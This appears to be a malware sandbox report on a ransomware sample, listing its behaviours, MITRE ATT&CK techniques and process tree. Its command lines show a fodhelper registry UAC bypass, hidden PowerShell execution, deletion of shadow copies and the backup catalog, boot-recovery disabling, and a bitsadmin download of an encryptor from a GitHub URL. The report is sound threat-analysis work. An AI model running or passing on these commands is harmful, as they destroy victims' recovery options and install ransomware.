7880389d89e8e28cbf6ac18bfb40dc8661dec9d9723e97b14bea6f8dff91804b

pid	Process
4844	bcdedit.exe
4344	bcdedit.exe

Renames multiple (484) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3140	wbadmin.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4768	bitsadmin.exe

Executes dropped EXE 2 IoCs

pid	Process
2320	X6B56HB5A2B59.exe
1172	1430.tmp

Loads dropped DLL 18 IoCs

pid	Process
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe
3184	LoaderFuscate.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3870231897-2573482396-1083937135-1000\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3870231897-2573482396-1083937135-1000\desktop.ini	svchost.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\spool\PRINTERS\00002.SPL	splwow64.exe
File created	C:\Windows\system32\spool\PRINTERS\PPcy2uvf8qlcddsd95nay7uf90c.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PPe2yq1a7p4e0j00ftct037l38c.TMP	printfilterpipelinesvc.exe
File created	C:\Windows\system32\spool\PRINTERS\PP92a61cikmx50gs2ow57qs0vic.TMP	printfilterpipelinesvc.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\utZMwPnzM.bmp"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\utZMwPnzM.bmp"	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1172	1430.tmp

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x001900000002aad9-117.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1430.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ONENOTE.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	ONENOTE.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ONENOTE.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
4412	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings	X6B56HB5A2B59.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command\ = "cmd /c start /min cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command\ = "cmd.exe /c start /min powershell -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\X9F2L7D4ZP8Q1RMK.ps1\" -WindowStyle Hidden"	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\ms-settings\Shell\Open\command	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1656	reg.exe
1212	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
1384	svchost.exe
4936	ONENOTE.EXE
4936	ONENOTE.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeIncreaseQuotaPrivilege	2448	WMIC.exe
Token: SeSecurityPrivilege	2448	WMIC.exe
Token: SeTakeOwnershipPrivilege	2448	WMIC.exe
Token: SeLoadDriverPrivilege	2448	WMIC.exe
Token: SeSystemProfilePrivilege	2448	WMIC.exe
Token: SeSystemtimePrivilege	2448	WMIC.exe
Token: SeProfSingleProcessPrivilege	2448	WMIC.exe
Token: SeIncBasePriorityPrivilege	2448	WMIC.exe
Token: SeCreatePagefilePrivilege	2448	WMIC.exe
Token: SeBackupPrivilege	2448	WMIC.exe
Token: SeRestorePrivilege	2448	WMIC.exe
Token: SeShutdownPrivilege	2448	WMIC.exe
Token: SeDebugPrivilege	2448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2448	WMIC.exe
Token: SeRemoteShutdownPrivilege	2448	WMIC.exe
Token: SeUndockPrivilege	2448	WMIC.exe
Token: SeManageVolumePrivilege	2448	WMIC.exe
Token: 33	2448	WMIC.exe
Token: 34	2448	WMIC.exe
Token: 35	2448	WMIC.exe
Token: 36	2448	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2448	WMIC.exe
Token: SeSecurityPrivilege	2448	WMIC.exe
Token: SeTakeOwnershipPrivilege	2448	WMIC.exe
Token: SeLoadDriverPrivilege	2448	WMIC.exe
Token: SeSystemProfilePrivilege	2448	WMIC.exe
Token: SeSystemtimePrivilege	2448	WMIC.exe
Token: SeProfSingleProcessPrivilege	2448	WMIC.exe
Token: SeIncBasePriorityPrivilege	2448	WMIC.exe
Token: SeCreatePagefilePrivilege	2448	WMIC.exe
Token: SeBackupPrivilege	2448	WMIC.exe
Token: SeRestorePrivilege	2448	WMIC.exe
Token: SeShutdownPrivilege	2448	WMIC.exe
Token: SeDebugPrivilege	2448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2448	WMIC.exe
Token: SeRemoteShutdownPrivilege	2448	WMIC.exe
Token: SeUndockPrivilege	2448	WMIC.exe
Token: SeManageVolumePrivilege	2448	WMIC.exe
Token: 33	2448	WMIC.exe
Token: 34	2448	WMIC.exe
Token: 35	2448	WMIC.exe
Token: 36	2448	WMIC.exe
Token: SeBackupPrivilege	2248	vssvc.exe
Token: SeRestorePrivilege	2248	vssvc.exe
Token: SeAuditPrivilege	2248	vssvc.exe
Token: SeBackupPrivilege	3524	wbengine.exe
Token: SeRestorePrivilege	3524	wbengine.exe
Token: SeSecurityPrivilege	3524	wbengine.exe
Token: SeAssignPrimaryTokenPrivilege	1384	svchost.exe
Token: SeBackupPrivilege	1384	svchost.exe
Token: SeDebugPrivilege	1384	svchost.exe
Token: 36	1384	svchost.exe
Token: SeImpersonatePrivilege	1384	svchost.exe
Token: SeIncBasePriorityPrivilege	1384	svchost.exe
Token: SeIncreaseQuotaPrivilege	1384	svchost.exe
Token: 33	1384	svchost.exe
Token: SeManageVolumePrivilege	1384	svchost.exe
Token: SeProfSingleProcessPrivilege	1384	svchost.exe
Token: SeRestorePrivilege	1384	svchost.exe
Token: SeSecurityPrivilege	1384	svchost.exe
Token: SeSystemProfilePrivilege	1384	svchost.exe
Token: SeTakeOwnershipPrivilege	1384	svchost.exe
Token: SeShutdownPrivilege	1384	svchost.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE
4936	ONENOTE.EXE

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 3184	2380	LoaderFuscate.exe	77
PID 2380 wrote to memory of 3184	2380	LoaderFuscate.exe	77
PID 3184 wrote to memory of 436	3184	LoaderFuscate.exe	78
PID 3184 wrote to memory of 436	3184	LoaderFuscate.exe	78
PID 436 wrote to memory of 2320	436	cmd.exe	80
PID 436 wrote to memory of 2320	436	cmd.exe	80
PID 2320 wrote to memory of 796	2320	X6B56HB5A2B59.exe	81
PID 2320 wrote to memory of 796	2320	X6B56HB5A2B59.exe	81
PID 796 wrote to memory of 1700	796	WScript.exe	82
PID 796 wrote to memory of 1700	796	WScript.exe	82
PID 1700 wrote to memory of 2100	1700	fodhelper.exe	83
PID 1700 wrote to memory of 2100	1700	fodhelper.exe	83
PID 2100 wrote to memory of 2220	2100	cmd.exe	85
PID 2100 wrote to memory of 2220	2100	cmd.exe	85
PID 796 wrote to memory of 1656	796	WScript.exe	87
PID 796 wrote to memory of 1656	796	WScript.exe	87
PID 796 wrote to memory of 3300	796	WScript.exe	89
PID 796 wrote to memory of 3300	796	WScript.exe	89
PID 796 wrote to memory of 4768	796	WScript.exe	90
PID 796 wrote to memory of 4768	796	WScript.exe	90
PID 3300 wrote to memory of 4824	3300	WScript.exe	92
PID 3300 wrote to memory of 4824	3300	WScript.exe	92
PID 4824 wrote to memory of 4792	4824	fodhelper.exe	95
PID 4824 wrote to memory of 4792	4824	fodhelper.exe	95
PID 4792 wrote to memory of 3248	4792	cmd.exe	97
PID 4792 wrote to memory of 3248	4792	cmd.exe	97
PID 4792 wrote to memory of 2448	4792	cmd.exe	98
PID 4792 wrote to memory of 2448	4792	cmd.exe	98
PID 3248 wrote to memory of 4412	3248	cmd.exe	100
PID 3248 wrote to memory of 4412	3248	cmd.exe	100
PID 4792 wrote to memory of 4844	4792	cmd.exe	104
PID 4792 wrote to memory of 4844	4792	cmd.exe	104
PID 4792 wrote to memory of 4344	4792	cmd.exe	105
PID 4792 wrote to memory of 4344	4792	cmd.exe	105
PID 4792 wrote to memory of 3140	4792	cmd.exe	106
PID 4792 wrote to memory of 3140	4792	cmd.exe	106
PID 3300 wrote to memory of 1212	3300	WScript.exe	111
PID 3300 wrote to memory of 1212	3300	WScript.exe	111
PID 796 wrote to memory of 1384	796	WScript.exe	113
PID 796 wrote to memory of 1384	796	WScript.exe	113
PID 796 wrote to memory of 1384	796	WScript.exe	113
PID 1384 wrote to memory of 4656	1384	svchost.exe	115
PID 1384 wrote to memory of 4656	1384	svchost.exe	115
PID 660 wrote to memory of 4936	660	printfilterpipelinesvc.exe	118
PID 660 wrote to memory of 4936	660	printfilterpipelinesvc.exe	118
PID 1384 wrote to memory of 1172	1384	svchost.exe	119
PID 1384 wrote to memory of 1172	1384	svchost.exe	119
PID 1384 wrote to memory of 1172	1384	svchost.exe	119
PID 1384 wrote to memory of 1172	1384	svchost.exe	119
PID 1172 wrote to memory of 4528	1172	1430.tmp	120
PID 1172 wrote to memory of 4528	1172	1430.tmp	120
PID 1172 wrote to memory of 4528	1172	1430.tmp	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
  "C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "X6B56HB5A2B59.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Users\Admin\AppData\Local\Temp\X6B56HB5A2B59.exe
      X6B56HB5A2B59.exe
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:2320
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AFABF89794B879FLB98.vbs"
        5⤵
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:796
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1700
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c start /min powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\X9F2L7D4ZP8Q1RMK.ps1" -WindowStyle Hidden
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\X9F2L7D4ZP8Q1RMK.ps1" -WindowStyle Hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
      - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        6⤵
        Modifies registry class
        Modifies registry key
        
        PID:1656
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B9BBB9A5B8F4ABS.vbs"
        6⤵
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:3300
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4824
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c start /min cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4792
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3248
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:4412
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2448
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:4844
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:4344
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        9⤵
        Deletes backup catalog
        
        PID:3140
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        7⤵
        Modifies registry class
        Modifies registry key
        
        PID:1212
      - C:\Windows\System32\bitsadmin.exe
        
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/raw/refs/heads/main/Encryptor.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
        6⤵
        Download via BitsAdmin
        
        PID:4768
      - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        6⤵
        Drops desktop.ini file(s)
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\splwow64.exe
        
        C:\Windows\splwow64.exe 12288
        7⤵
        Drops file in System32 directory
        
        PID:4656
        
        C:\ProgramData\1430.tmp
        
        "C:\ProgramData\1430.tmp"
        7⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1172
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\1430.tmp >> NUL
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4528

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3524

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1308

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:396

C:\Windows\system32\printfilterpipelinesvc.exe
C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:660
- C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
  /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{00BFDA95-D959-42E0-B050-BDB6D92F2846}.xps" 133825045952890000
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery